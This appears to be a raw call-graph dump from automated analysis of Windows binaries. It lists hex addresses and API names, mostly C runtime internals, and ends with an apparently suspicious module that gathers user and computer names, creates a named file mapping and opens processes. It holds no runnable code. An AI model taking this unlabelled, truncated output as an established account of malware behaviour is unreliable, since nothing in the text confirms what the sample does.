2bf1aeb 20226->20228 20227 2bf129b Sleep 20227->20191 20227->20195 20228->20227 20249 2bf2046 RtlAllocateHeap 20228->20249 20230 2bf1b5a 20230->20227 20250 2bf1cd6 RtlFreeHeap 20230->20250 20232->20191 20251 2bf2046 RtlAllocateHeap 20233->20251 20235 2bf1309 20235->20209 20235->20210 20236 2bf153a GetModuleFileNameW 20237 2bf156b 20236->20237 20238 2bf1534 20236->20238 20237->20235 20240 2bf157d GetLastError 20237->20240 20238->20235 20238->20236 20238->20237 20252 2bf1cd6 RtlFreeHeap 20238->20252 20253 2bf2046 RtlAllocateHeap 20238->20253 20254 2bf1cd6 RtlFreeHeap 20240->20254 20243->20215 20244->20210 20246 2bf135f 20245->20246 20247 2bf1fba QueueUserAPC 20245->20247 20246->20207 20246->20208 20247->20246 20248 2bf1fcd GetLastError TerminateThread CloseHandle SetLastError 20247->20248 20248->20246 20249->20230 20250->20227 20251->20238 20252->20238 20253->20238 20254->20235 20255 6cb50ff8 20256 6cb5102c 20255->20256 20257 6cb42490 _Error_objects 43 API calls 20256->20257 20258 6cb42730 task 41 API calls 20256->20258 20259 6cb51062 _Error_objects 20256->20259 20257->20256 20258->20256 20260 6cb43a70 43 API calls 20259->20260 20264 6cb510cb 20260->20264 20261 6cb5111d 20263 6cb45040 43 API calls 20261->20263 20262 6cb42490 _Error_objects 43 API calls 20262->20264 20288 6cb5112d std::ios_base::good 20263->20288 20264->20261 20264->20262 20265 6cb42730 task 41 API calls 20264->20265 20265->20264 20266 6cb51a08 20267 6cb51b8b 20266->20267 20272 6cb51a40 20266->20272 20268 6cb43a70 43 API calls 20267->20268 20269 6cb51b9a 20268->20269 20270 6cb45040 43 API calls 20269->20270 20276 6cb51bab 20270->20276 20271 6cb42490 _Error_objects 43 API calls 20271->20276 20273 6cb44e30 43 API calls 20272->20273 20274 6cb51add 20273->20274 20277 6cb44e30 43 API calls 20274->20277 20275 6cb44e30 43 API calls 20275->20276 20276->20271 20276->20275 20279 6cb42730 41 API calls task 20276->20279 20291 6cb51c8f 20276->20291 20278 6cb51b6c 20277->20278 20280 6cb42730 task 41 API calls 20278->20280 20279->20276 20281 6cb51b77 20280->20281 20282 6cb42730 task 41 API calls 20281->20282 20283 6cb51b86 20282->20283 20284 6cb42490 43 API calls _Error_objects 20285 6cb519a7 20284->20285 20285->20266 20285->20284 20286 6cb42730 41 API calls task 20285->20286 20286->20285 20287 6cb44e30 43 API calls 20287->20288 20288->20266 20288->20285 20288->20287 20289 6cb42730 task 41 API calls 20288->20289 20289->20288 20290 6cb52553 20293 6cb42750 __DllMainCRTStartup@12 41 API calls 20290->20293 20291->20290 20292 6cb43420 41 API calls 20291->20292 20292->20290 20294 6cb5256b 20293->20294 20295 6cb42750 __DllMainCRTStartup@12 41 API calls 20294->20295 20296 6cb5257a 20295->20296 20297 6cb42730 task 41 API calls 20296->20297 20298 6cb52589 20297->20298 20299 6cb5f9f8 20302 6cb61657 20299->20302 20303 6cb61662 RtlFreeHeap 20302->20303 20304 6cb5fa10 20302->20304 20303->20304 20305 6cb61677 GetLastError 20303->20305 20306 6cb61684 __dosmaperr 20305->20306 20307 6cb613c9 __dosmaperr 12 API calls 20306->20307 20307->20304 20308 6cb561bb 20309 6cb561d1 20308->20309 20310 6cb43a70 43 API calls 20309->20310 20311 6cb56822 20309->20311 20310->20311 20312 6cb45040 43 API calls 20311->20312 20313 6cb568b7 20312->20313 20314 6cb45040 43 API calls 20313->20314 20315 6cb568c7 20314->20315 20316 6cb43a70 43 API calls 20315->20316 20317 6cb568d7 20316->20317 20318 6cb45040 43 API calls 20317->20318 20319 6cb568e9 20318->20319 20320 6cb5690c 20319->20320 20393 6cb56a49 std::ios_base::good 20319->20393 20322 6cb44e30 43 API calls 20320->20322 20321 6cb45040 43 API calls 20323 6cb572d3 20321->20323 20326 6cb56999 20322->20326 20324 6cb43420 41 API calls 20323->20324 20332 6cb572dd 20324->20332 20325 6cb572ad 20325->20321 20329 6cb44e30 43 API calls 20326->20329 20327 6cb570b6 20328 6cb43a70 43 API calls 20327->20328 20340 6cb570c7 20328->20340 20330 6cb56a2a 20329->20330 20331 6cb42730 task 41 API calls 20330->20331 20333 6cb56a35 20331->20333 20396 6cb57640 20332->20396 20336 6cb42730 task 41 API calls 20333->20336 20334 6cb44e30 43 API calls 20347 6cb571c7 20334->20347 20335 6cb57106 20345 6cb57640 43 API calls 20335->20345 20339 6cb56a44 20336->20339 20338 6cb42490 _Error_objects 43 API calls 20338->20340 20340->20335 20340->20338 20343 6cb42730 task 41 API calls 20340->20343 20342 6cb42490 _Error_objects 43 API calls 20342->20347 20343->20340 20344 6cb49e20 43 API calls 20348 6cb573fc 20344->20348 20349 6cb5717a 20345->20349 20346 6cb44e30 43 API calls 20361 6cb56fb2 20346->20361 20347->20325 20347->20334 20347->20342 20352 6cb42730 41 API calls task 20347->20352 20350 6cb42730 task 41 API calls 20348->20350 20351 6cb49e20 43 API calls 20349->20351 20353 6cb5740b 20350->20353 20354 6cb571a9 20351->20354 20352->20347 20355 6cb42730 task 41 API calls 20353->20355 20356 6cb42730 task 41 API calls 20354->20356 20362 6cb5741a std::ios_base::good 20355->20362 20358 6cb571b8 20356->20358 20357 6cb42490 43 API calls _Error_objects 20357->20361 20360 6cb42730 task 41 API calls 20358->20360 20359 6cb42730 41 API calls task 20359->20361 20360->20347 20361->20327 20361->20346 20361->20357 20361->20359 20364 6cb43a70 43 API calls 20362->20364 20369 6cb57503 20362->20369 20363 6cb45040 43 API calls 20365 6cb57540 20363->20365 20378 6cb57440 20364->20378 20400 6cb42420 20365->20400 20368 6cb42750 __DllMainCRTStartup@12 41 API calls 20370 6cb5756d 20368->20370 20369->20363 20371 6cb42750 __DllMainCRTStartup@12 41 API calls 20370->20371 20372 6cb5757c 20371->20372 20373 6cb42750 __DllMainCRTStartup@12 41 API calls 20372->20373 20374 6cb5758b 20373->20374 20375 6cb42750 __DllMainCRTStartup@12 41 API calls 20374->20375 20376 6cb57597 20375->20376 20377 6cb42730 task 41 API calls 20376->20377 20379 6cb575a6 20377->20379 20378->20369 20381 6cb44e30 43 API calls 20378->20381 20384 6cb42730 task 41 API calls 20378->20384 20380 6cb42730 task 41 API calls 20379->20380 20381->20378 20384->20378 20392 6cb56fa8 20395 6cb43420 41 API calls 20392->20395 20393->20325 20393->20347 20393->20361 20393->20392 20394 6cb45040 43 API calls 20393->20394 20394->20392 20395->20361 20397 6cb5765c 20396->20397 20404 6cb44ed0 20397->20404 20399 6cb573cd 20399->20344 20401 6cb42437 Concurrency::details::WorkQueue::PushStructured swap task 20400->20401 20415 6cb42da0 20401->20415 20405 6cb44f05 _Error_objects 20404->20405 20406 6cb43050 _Error_objects 43 API calls 20405->20406 20407 6cb44f2b 20406->20407 20410 6cb45e50 20407->20410 20409 6cb44f3f task 20409->20399 20411 6cb45130 43 API calls 20410->20411 20412 6cb45e6b _Error_objects 20411->20412 20413 6cb43350 _Error_objects 43 API calls 20412->20413 20414 6cb45e9c 20413->20414 20414->20409 20416 6cb42dcf task 20415->20416 20417 6cb42dd6 20416->20417 20420 6cb42dec Concurrency::details::WorkQueue::PushStructured task _Error_objects 20416->20420 20418 6cb43050 _Error_objects 43 API calls 20417->20418 20419 6cb42479 20418->20419 20419->20368 20421 6cb43050 _Error_objects 43 API calls 20420->20421 20421->20419 20422 6cb601a7 20437 6cb62e31 20422->20437 20427 6cb601c3 20429 6cb61657 __freea 14 API calls 20427->20429 20428 6cb601cf 20464 6cb60200 20428->20464 20431 6cb601c9 20429->20431 20433 6cb61657 __freea 14 API calls 20434 6cb601f3 20433->20434 20435 6cb61657 __freea 14 API calls 20434->20435 20436 6cb601f9 20435->20436 20438 6cb62e3a 20437->20438 20442 6cb601b8 20437->20442 20486 6cb60e87 20438->20486 20443 6cb63284 GetEnvironmentStringsW 20442->20443 20444 6cb601bd 20443->20444 20445 6cb6329c 20443->20445 20444->20427 20444->20428 20446 6cb63196 ___scrt_uninitialize_crt WideCharToMultiByte 20445->20446 20447 6cb632b9 20446->20447 20448 6cb632c3 FreeEnvironmentStringsW 20447->20448 20449 6cb632ce 20447->20449 20448->20444 20450 6cb61157 _Error_objects 15 API calls 20449->20450 20451 6cb632d5 20450->20451 20452 6cb632ee 20451->20452 20453 6cb632dd 20451->20453 20455 6cb63196 ___scrt_uninitialize_crt WideCharToMultiByte 20452->20455 20454 6cb61657 __freea 14 API calls 20453->20454 20456 6cb632e2 FreeEnvironmentStringsW 20454->20456 20457 6cb632fe 20455->20457 20456->20444 20458 6cb63305 20457->20458 20459 6cb6330d 20457->20459 20460 6cb61657 __freea 14 API calls 20458->20460 20461 6cb61657 __freea 14 API calls 20459->20461 20462 6cb6330b FreeEnvironmentStringsW 20460->20462 20461->20462 20462->20444 20465 6cb60215 20464->20465 20466 6cb62007 _unexpected 14 API calls 20465->20466 20467 6cb6023c 20466->20467 20468 6cb60244 20467->20468 20478 6cb6024e 20467->20478 20469 6cb61657 __freea 14 API calls 20468->20469 20471 6cb601d6 20469->20471 20470 6cb602ab 20472 6cb61657 __freea 14 API calls 20470->20472 20471->20433 20472->20471 20473 6cb62007 _unexpected 14 API calls 20473->20478 20474 6cb602ba 20945 6cb602e2 20474->20945 20476 6cb608f8 ___std_exception_copy 41 API calls 20476->20478 20478->20470 20478->20473 20478->20474 20478->20476 20480 6cb602d5 20478->20480 20482 6cb61657 __freea 14 API calls 20478->20482 20479 6cb61657 __freea 14 API calls 20481 6cb602c7 20479->20481 20483 6cb5eb9c allocator 11 API calls 20480->20483 20484 6cb61657 __freea 14 API calls 20481->20484 20482->20478 20485 6cb602e1 20483->20485 20484->20471 20487 6cb60e92 20486->20487 20488 6cb60e98 20486->20488 20534 6cb61986 20487->20534 20508 6cb60e9e 20488->20508 20539 6cb619c5 20488->20539 20493 6cb60952 CallUnexpected 41 API calls 20495 6cb60f1c 20493->20495 20496 6cb60edf 20498 6cb619c5 _unexpected 6 API calls 20496->20498 20497 6cb60eca 20499 6cb619c5 _unexpected 6 API calls 20497->20499 20500 6cb60eeb 20498->20500 20501 6cb60ed6 20499->20501 20502 6cb60efe 20500->20502 20503 6cb60eef 20500->20503 20506 6cb61657 __freea 14 API calls 20501->20506 20551 6cb60bce 20502->20551 20504 6cb619c5 _unexpected 6 API calls 20503->20504 20504->20501 20506->20508 20508->20493 20510 6cb60ea3 20508->20510 20509 6cb61657 __freea 14 API calls 20509->20510 20511 6cb62c3c 20510->20511 20713 6cb62d91 20511->20713 20518 6cb62ca6 20738 6cb62e8c 20518->20738 20519 6cb62c98 20520 6cb61657 __freea 14 API calls 20519->20520 20522 6cb62c7f 20520->20522 20522->20442 20524 6cb62cde 20525 6cb613c9 __dosmaperr 14 API calls 20524->20525 20526 6cb62ce3 20525->20526 20528 6cb61657 __freea 14 API calls 20526->20528 20527 6cb62d25 20530 6cb62d6e 20527->20530 20749 6cb628ae 20527->20749 20528->20522 20529 6cb62cf9 20529->20527 20532 6cb61657 __freea 14 API calls 20529->20532 20531 6cb61657 __freea 14 API calls 20530->20531 20531->20522 20532->20527 20556 6cb61826 20534->20556 20537 6cb619bd TlsGetValue 20538 6cb619ab 20538->20488 20540 6cb61826 _unexpected 5 API calls 20539->20540 20541 6cb619e1 20540->20541 20542 6cb619ff TlsSetValue 20541->20542 20543 6cb60eb2 20541->20543 20543->20508 20544 6cb62007 20543->20544 20548 6cb62014 _unexpected 20544->20548 20545 6cb62054 20549 6cb613c9 __dosmaperr 13 API calls 20545->20549 20546 6cb6203f RtlAllocateHeap 20547 6cb60ec2 20546->20547 20546->20548 20547->20496 20547->20497 20548->20545 20548->20546 20550 6cb5f96f allocator 2 API calls 20548->20550 20549->20547 20550->20548 20571 6cb60a62 20551->20571 20557 6cb61854 20556->20557 20558 6cb61850 20556->20558 20557->20558 20563 6cb6175b 20557->20563 20558->20537 20558->20538 20561 6cb6186e GetProcAddress 20561->20558 20562 6cb6187e _unexpected 20561->20562 20562->20558 20569 6cb6176c ___vcrt_FlsFree 20563->20569 20564 6cb61802 20564->20558 20564->20561 20565 6cb6178a LoadLibraryExW 20566 6cb617a5 GetLastError 20565->20566 20567 6cb61809 20565->20567 20566->20569 20567->20564 20568 6cb6181b FreeLibrary 20567->20568 20568->20564 20569->20564 20569->20565 20570 6cb617d8 LoadLibraryExW 20569->20570 20570->20567 20570->20569 20572 6cb60a6e __FrameHandler3::FrameUnwindToState 20571->20572 20585 6cb61f77 EnterCriticalSection 20572->20585 20574 6cb60a78 20586 6cb60aa8 20574->20586 20577 6cb60b74 20578 6cb60b80 __FrameHandler3::FrameUnwindToState 20577->20578 20590 6cb61f77 EnterCriticalSection 20578->20590 20580 6cb60b8a 20591 6cb60d55 20580->20591 20582 6cb60ba2 20595 6cb60bc2 20582->20595 20585->20574 20589 6cb61fbf LeaveCriticalSection 20586->20589 20588 6cb60a96 20588->20577 20589->20588 20590->20580 20592 6cb60d8b _unexpected 20591->20592 20593 6cb60d64 _unexpected 20591->20593 20592->20582 20593->20592 20598 6cb63f5d 20593->20598 20712 6cb61fbf LeaveCriticalSection 20595->20712 20597 6cb60bb0 20597->20509 20600 6cb63fdd 20598->20600 20601 6cb63f73 20598->20601 20602 6cb61657 __freea 14 API calls 20600->20602 20624 6cb6402b 20600->20624 20601->20600 20604 6cb63fa6 20601->20604 20608 6cb61657 __freea 14 API calls 20601->20608 20603 6cb63fff 20602->20603 20606 6cb61657 __freea 14 API calls 20603->20606 20605 6cb63fc8 20604->20605 20613 6cb61657 __freea 14 API calls 20604->20613 20607 6cb61657 __freea 14 API calls 20605->20607 20609 6cb64012 20606->20609 20610 6cb63fd2 20607->20610 20612 6cb63f9b 20608->20612 20614 6cb61657 __freea 14 API calls 20609->20614 20615 6cb61657 __freea 14 API calls 20610->20615 20611 6cb64099 20616 6cb61657 __freea 14 API calls 20611->20616 20626 6cb6427a 20612->20626 20618 6cb63fbd 20613->20618 20619 6cb64020 20614->20619 20615->20600 20620 6cb6409f 20616->20620 20654 6cb64378 20618->20654 20623 6cb61657 __freea 14 API calls 20619->20623 20620->20592 20621 6cb64039 20621->20611 20625 6cb61657 14 API calls __freea 20621->20625 20623->20624 20666 6cb640ce 20624->20666 20625->20621 20627 6cb6428b 20626->20627 20653 6cb64374 20626->20653 20628 6cb6429c 20627->20628 20629 6cb61657 __freea 14 API calls 20627->20629 20630 6cb642ae 20628->20630 20631 6cb61657 __freea 14 API calls 20628->20631 20629->20628 20632 6cb642c0 20630->20632 20633 6cb61657 __freea 14 API calls 20630->20633 20631->20630 20634 6cb642d2 20632->20634 20636 6cb61657 __freea 14 API calls 20632->20636 20633->20632 20635 6cb642e4 20634->20635 20637 6cb61657 __freea 14 API calls 20634->20637 20638 6cb642f6 20635->20638 20639 6cb61657 __freea 14 API calls 20635->20639 20636->20634 20637->20635 20640 6cb64308 20638->20640 20641 6cb61657 __freea 14 API calls 20638->20641 20639->20638 20642 6cb6431a 20640->20642 20644 6cb61657 __freea 14 API calls 20640->20644 20641->20640 20643 6cb6432c 20642->20643 20645 6cb61657 __freea 14 API calls 20642->20645 20646 6cb6433e 20643->20646 20647 6cb61657 __freea 14 API calls 20643->20647 20644->20642 20645->20643 20648 6cb61657 __freea 14 API calls 20646->20648 20649 6cb64350 20646->20649 20647->20646 20648->20649 20650 6cb64362 20649->20650 20651 6cb61657 __freea 14 API calls 20649->20651 20652 6cb61657 __freea 14 API calls 20650->20652 20650->20653 20651->20650 20652->20653 20653->20604 20655 6cb64385 20654->20655 20665 6cb643dd 20654->20665 20656 6cb61657 __freea 14 API calls 20655->20656 20657 6cb64395 20655->20657 20656->20657 20658 6cb643a7 20657->20658 20659 6cb61657 __freea 14 API calls 20657->20659 20660 6cb643b9 20658->20660 20661 6cb61657 __freea 14 API calls 20658->20661 20659->20658 20662 6cb643cb 20660->20662 20663 6cb61657 __freea 14 API calls 20660->20663 20661->20660 20664 6cb61657 __freea 14 API calls 20662->20664 20662->20665 20663->20662 20664->20665 20665->20605 20667 6cb640db 20666->20667 20671 6cb640fa 20666->20671 20667->20671 20672 6cb64406 20667->20672 20670 6cb61657 __freea 14 API calls 20670->20671 20671->20621 20673 6cb64417 20672->20673 20707 6cb640f4 20672->20707 20708 6cb643e1 20673->20708 20676 6cb643e1 _unexpected 14 API calls 20677 6cb6442a 20676->20677 20678 6cb643e1 _unexpected 14 API calls 20677->20678 20679 6cb64435 20678->20679 20680 6cb643e1 _unexpected 14 API calls 20679->20680 20681 6cb64440 20680->20681 20682 6cb643e1 _unexpected 14 API calls 20681->20682 20683 6cb6444e 20682->20683 20684 6cb61657 __freea 14 API calls 20683->20684 20685 6cb64459 20684->20685 20686 6cb61657 __freea 14 API calls 20685->20686 20687 6cb64464 20686->20687 20688 6cb61657 __freea 14 API calls 20687->20688 20689 6cb6446f 20688->20689 20690 6cb643e1 _unexpected 14 API calls 20689->20690 20691 6cb6447d 20690->20691 20707->20670 20709 6cb643f3 20708->20709 20710 6cb64402 20709->20710 20711 6cb61657 __freea 14 API calls 20709->20711 20710->20676 20711->20709 20712->20597 20714 6cb62d9d __FrameHandler3::FrameUnwindToState 20713->20714 20715 6cb62db7 20714->20715 20757 6cb61f77 EnterCriticalSection 20714->20757 20717 6cb62c66 20715->20717 20719 6cb60952 CallUnexpected 41 API calls 20715->20719 20724 6cb629bc 20717->20724 20718 6cb62df3 20758 6cb62e10 20718->20758 20721 6cb62e30 20719->20721 20722 6cb62dc7 20722->20718 20723 6cb61657 __freea 14 API calls 20722->20723 20723->20718 20762 6cb5ec8b 20724->20762 20727 6cb629ef 20729 6cb629f4 GetACP 20727->20729 20730 6cb62a06 20727->20730 20728 6cb629dd GetOEMCP 20728->20730 20729->20730 20730->20522 20731 6cb61157 20730->20731 20732 6cb61195 20731->20732 20736 6cb61165 _unexpected 20731->20736 20734 6cb613c9 __dosmaperr 14 API calls 20732->20734 20733 6cb61180 RtlAllocateHeap 20735 6cb61193 20733->20735 20733->20736 20734->20735 20735->20518 20735->20519 20736->20732 20736->20733 20737 6cb5f96f allocator 2 API calls 20736->20737 20737->20736 20739 6cb629bc 43 API calls 20738->20739 20740 6cb62eac 20739->20740 20741 6cb62f25 CallUnexpected 20740->20741 20743 6cb62ee9 IsValidCodePage 20740->20743 20742 6cb5b34f __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 20741->20742 20744 6cb62cd3 20742->20744 20743->20741 20745 6cb62efb 20743->20745 20744->20524 20744->20529 20746 6cb62f2a GetCPInfo 20745->20746 20748 6cb62f04 CallUnexpected 20745->20748 20746->20741 20746->20748 20832 6cb62a90 20748->20832 20750 6cb628ba __FrameHandler3::FrameUnwindToState 20749->20750 20916 6cb61f77 EnterCriticalSection 20750->20916 20752 6cb628c4 20917 6cb628fb 20752->20917 20757->20722 20761 6cb61fbf LeaveCriticalSection 20758->20761 20760 6cb62e17 20760->20715 20761->20760 20763 6cb5eca9 20762->20763 20769 6cb5eca2 20762->20769 20763->20769 20770 6cb60dcc GetLastError 20763->20770 20769->20727 20769->20728 20771 6cb60de2 20770->20771 20772 6cb60de8 20770->20772 20773 6cb61986 _unexpected 6 API calls 20771->20773 20774 6cb619c5 _unexpected 6 API calls 20772->20774 20776 6cb60dec SetLastError 20772->20776 20773->20772 20775 6cb60e04 20774->20775 20775->20776 20778 6cb62007 _unexpected 14 API calls 20775->20778 20780 6cb60e81 20776->20780 20781 6cb5ecca 20776->20781 20779 6cb60e19 20778->20779 20782 6cb60e32 20779->20782 20783 6cb60e21 20779->20783 20784 6cb60952 CallUnexpected 39 API calls 20780->20784 20797 6cb61270 20781->20797 20786 6cb619c5 _unexpected 6 API calls 20782->20786 20785 6cb619c5 _unexpected 6 API calls 20783->20785 20787 6cb60e86 20784->20787 20788 6cb60e2f 20785->20788 20789 6cb60e3e 20786->20789 20794 6cb61657 __freea 14 API calls 20788->20794 20790 6cb60e42 20789->20790 20791 6cb60e59 20789->20791 20793 6cb619c5 _unexpected 6 API calls 20790->20793 20792 6cb60bce _unexpected 14 API calls 20791->20792 20795 6cb60e64 20792->20795 20793->20788 20794->20776 20796 6cb61657 __freea 14 API calls 20795->20796 20796->20776 20798 6cb61283 20797->20798 20799 6cb5ece0 20797->20799 20798->20799 20805 6cb641a9 20798->20805 20801 6cb612ce 20799->20801 20802 6cb612e1 20801->20802 20803 6cb612f6 20801->20803 20802->20803 20827 6cb62e79 20802->20827 20803->20769 20806 6cb641b5 __FrameHandler3::FrameUnwindToState 20805->20806 20807 6cb60dcc _unexpected 41 API calls 20806->20807 20808 6cb641be 20807->20808 20809 6cb64204 20808->20809 20818 6cb61f77 EnterCriticalSection 20808->20818 20809->20799 20811 6cb641dc 20819 6cb6422a 20811->20819 20816 6cb60952 CallUnexpected 41 API calls 20817 6cb64229 20816->20817 20818->20811 20820 6cb641ed 20819->20820 20821 6cb64238 _unexpected 20819->20821 20823 6cb64209 20820->20823 20821->20820 20822 6cb63f5d _unexpected 14 API calls 20821->20822 20822->20820 20826 6cb61fbf LeaveCriticalSection 20823->20826 20825 6cb64200 20825->20809 20825->20816 20826->20825 20828 6cb60dcc _unexpected 41 API calls 20827->20828 20829 6cb62e7e 20828->20829 20830 6cb62d91 ___scrt_uninitialize_crt 41 API calls 20829->20830 20831 6cb62e89 20830->20831 20831->20803 20833 6cb62ab8 GetCPInfo 20832->20833 20834 6cb62b81 20832->20834 20833->20834 20840 6cb62ad0 20833->20840 20835 6cb5b34f __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 20834->20835 20837 6cb62c3a 20835->20837 20837->20741 20843 6cb644ea 20840->20843 20842 6cb615ca 45 API calls 20842->20834 20844 6cb5ec8b 41 API calls 20843->20844 20845 6cb6450a 20844->20845 20863 6cb61691 20845->20863 20847 6cb645ce 20849 6cb5b34f __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 20847->20849 20848 6cb645c6 20866 6cb61613 20848->20866 20853 6cb62b38 20849->20853 20850 6cb64537 20850->20847 20850->20848 20852 6cb61157 _Error_objects 15 API calls 20850->20852 20854 6cb6455c CallUnexpected __alloca_probe_16 20850->20854 20852->20854 20858 6cb615ca 20853->20858 20854->20848 20855 6cb61691 ___scrt_uninitialize_crt MultiByteToWideChar 20854->20855 20856 6cb645a7 20855->20856 20856->20848 20857 6cb645b2 GetStringTypeW 20856->20857 20857->20848 20859 6cb5ec8b 41 API calls 20858->20859 20860 6cb615dd 20859->20860 20870 6cb613dc 20860->20870 20864 6cb616a2 MultiByteToWideChar 20863->20864 20864->20850 20867 6cb61630 20866->20867 20868 6cb6161f 20866->20868 20867->20847 20868->20867 20869 6cb61657 __freea 14 API calls 20868->20869 20869->20867 20871 6cb613f7 20870->20871 20872 6cb61691 ___scrt_uninitialize_crt MultiByteToWideChar 20871->20872 20875 6cb6143d 20872->20875 20873 6cb5b34f __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 20874 6cb615c8 20873->20874 20874->20842 20876 6cb61157 _Error_objects 15 API calls 20875->20876 20878 6cb61463 __alloca_probe_16 20875->20878 20879 6cb615b5 20875->20879 20887 6cb614e9 20875->20887 20876->20878 20877 6cb61613 __freea 14 API calls 20877->20879 20880 6cb61691 ___scrt_uninitialize_crt MultiByteToWideChar 20878->20880 20878->20887 20879->20873 20881 6cb614a8 20880->20881 20881->20887 20898 6cb61a52 20881->20898 20884 6cb61512 20885 6cb614da 20885->20887 20887->20877 20907 6cb61727 20898->20907 20903 6cb614ca 20903->20884 20903->20885 20903->20887 20908 6cb61826 _unexpected 5 API calls 20907->20908 20909 6cb6173d 20908->20909 20909->20903 20910 6cb61aaf 20909->20910 20913 6cb61741 20910->20913 20914 6cb61826 _unexpected 5 API calls 20913->20914 20916->20752 20927 6cb63094 20917->20927 20919 6cb6291d 20920 6cb63094 41 API calls 20919->20920 20921 6cb6293c 20920->20921 20922 6cb628d1 20921->20922 20923 6cb61657 __freea 14 API calls 20921->20923 20924 6cb628ef 20922->20924 20923->20922 20944 6cb61fbf LeaveCriticalSection 20924->20944 20926 6cb628dd 20926->20530 20928 6cb630a5 20927->20928 20937 6cb630a1 _Error_objects 20927->20937 20929 6cb630ac 20928->20929 20932 6cb630bf CallUnexpected 20928->20932 20930 6cb613c9 __dosmaperr 14 API calls 20929->20930 20931 6cb630b1 20930->20931 20941 6cb5eb6f 20931->20941 20934 6cb630f6 20932->20934 20935 6cb630ed 20932->20935 20932->20937 20934->20937 20939 6cb613c9 __dosmaperr 14 API calls 20934->20939 20936 6cb613c9 __dosmaperr 14 API calls 20935->20936 20938 6cb630f2 20936->20938 20937->20919 20940 6cb5eb6f ___std_exception_copy 41 API calls 20938->20940 20939->20938 20940->20937 20942 6cb5eabb ___std_exception_copy 41 API calls 20941->20942 20943 6cb5eb7b 20942->20943 20943->20937 20944->20926 20946 6cb602c0 20945->20946 20947 6cb602ef 20945->20947 20946->20479 20948 6cb60306 20947->20948 20949 6cb61657 __freea 14 API calls 20947->20949 20950 6cb61657 __freea 14 API calls 20948->20950 20949->20947 20950->20946 20951 2c51056 20952 2c51086 InterlockedDecrement 20951->20952 20953 2c51063 20951->20953 20955 2c51095 20952->20955 20959 2c5107e 20952->20959 20954 2c51066 InterlockedIncrement 20953->20954 20953->20959 20956 2c51075 20954->20956 20954->20959 20970 2c53230 20955->20970 20960 2c55006 HeapCreate 20956->20960 20961 2c55023 GetTickCount 20960->20961 20962 2c5501e 20960->20962 20979 2c554d8 CreateEventA 20961->20979 20962->20959 20971 2c53281 20970->20971 20972 2c53239 SetEvent 20970->20972 20971->20959 20973 2c53246 SleepEx 20972->20973 20974 2c53260 20973->20974 20975 2c53259 20973->20975 20976 2c53271 20974->20976 20977 2c5326a CloseHandle 20974->20977 20975->20973 20975->20974 20976->20971 20978 2c5327a HeapDestroy 20976->20978 20977->20976 20978->20971 20980 2c55547 GetLastError 20979->20980 20981 2c554ef GetVersion 20979->20981 20982 2c55037 20980->20982 20984 2c554f9 20981->20984 20982->20962 20986 2c5213e 20982->20986 20983 2c55506 GetCurrentProcessId OpenProcess 20985 2c55537 20983->20985 20984->20983 20984->20985 20985->20982 20987 2c5214f SwitchToThread GetSystemTimeAsFileTime _aullrem 20986->20987 21027 2c56269 20987->21027 20990 2c5219e 20990->20962 20991 2c56392 20990->20991 20992 2c5504d 20991->20992 20993 2c563aa GetModuleHandleA GetProcAddress 20991->20993 20994 2c52523 20992->20994 20993->20992 21037 2c54520 GetModuleHandleA 20994->21037 20998 2c525e5 20998->20962 21001 2c525a4 21047 2c5415a GetSystemTimeAsFileTime _aulldiv _snwprintf CreateFileMappingW 21001->21047 21004 2c525b5 CloseHandle 21005 2c525be 21004->21005 21006 2c525c6 21005->21006 21007 2c525ea 21005->21007 21006->20998 21146 2c523c4 21006->21146 21055 2c527a0 21007->21055 21012 2c52605 21013 2c5260e memset RtlInitializeCriticalSection 21012->21013 21014 2c52638 21012->21014 21013->21014 21014->20998 21015 2c52645 RtlAllocateHeap 21014->21015 21016 2c5265d wsprintfA 21015->21016 21017 2c5268b 21015->21017 21016->21017 21017->20998 21063 2c53bd3 21017->21063 21028 2c56286 21027->21028 21029 2c52186 Sleep 21028->21029 21035 2c533dc RtlAllocateHeap 21028->21035 21029->20987 21029->20990 21031 2c562f6 21031->21029 21032 2c56303 memcpy 21031->21032 21033 2c5631b 21032->21033 21033->21029 21036 2c561da RtlFreeHeap 21033->21036 21035->21031 21036->21029 21038 2c5253b 21037->21038 21038->20998 21039 2c53037 21038->21039 21190 2c5421f NtOpenProcess 21039->21190 21042 2c53092 21045 2c52580 21042->21045 21202 2c55e40 21042->21202 21046 2c54332 ConvertStringSecurityDescriptorToSecurityDescriptorA 21045->21046 21046->21001 21048 2c5420f GetLastError 21047->21048 21049 2c541c9 GetLastError 21047->21049 21052 2c525b1 21048->21052 21050 2c541dd MapViewOfFile 21049->21050 21051 2c541d8 21049->21051 21050->21052 21054 2c541fe GetLastError 21050->21054 21053 2c54206 CloseHandle 21051->21053 21052->21004 21052->21005 21053->21052 21054->21052 21054->21053 21236 2c533dc RtlAllocateHeap 21055->21236 21057 2c527ba 21058 2c525ef 21057->21058 21059 2c527c0 GetVersionExA 21057->21059 21062 2c533dc RtlAllocateHeap 21058->21062 21060 2c527d3 wsprintfA 21059->21060 21060->21058 21062->21012 21064 2c53be9 21063->21064 21065 2c53c05 GetUserNameW 21064->21065 21066 2c53c57 21064->21066 21067 2c53c66 GetComputerNameW 21065->21067 21068 2c53c17 RtlAllocateHeap 21065->21068 21066->21067 21069 2c53c7f RtlAllocateHeap 21067->21069 21070 2c526ab 21067->21070 21068->21067 21071 2c53c29 GetUserNameW 21068->21071 21069->21070 21074 2c53c92 GetComputerNameW 21069->21074 21077 2c51d8a 21070->21077 21072 2c53c46 HeapFree 21071->21072 21073 2c53c38 21071->21073 21072->21067 21073->21072 21075 2c53c9d 21074->21075 21076 2c53cac HeapFree 21074->21076 21075->21076 21076->21070 21237 2c510f8 21077->21237 21079 2c51da8 21080 2c510f8 2 API calls 21079->21080 21081 2c51dd5 21080->21081 21082 2c52045 21081->21082 21083 2c510f8 2 API calls 21081->21083 21082->20998 21113 2c56ea3 21082->21113 21085 2c51df6 21083->21085 21084 2c52032 HeapFree 21084->21082 21085->21084 21086 2c51e29 StrToIntExA 21085->21086 21087 2c51e35 21085->21087 21086->21087 21088 2c51e5b StrToIntExA 21087->21088 21089 2c51e67 21087->21089 21088->21089 21114 2c510f8 2 API calls 21113->21114 21115 2c56ed4 21114->21115 22223 2c53a63 21146->22223 21149 2c52442 21149->21006 21150 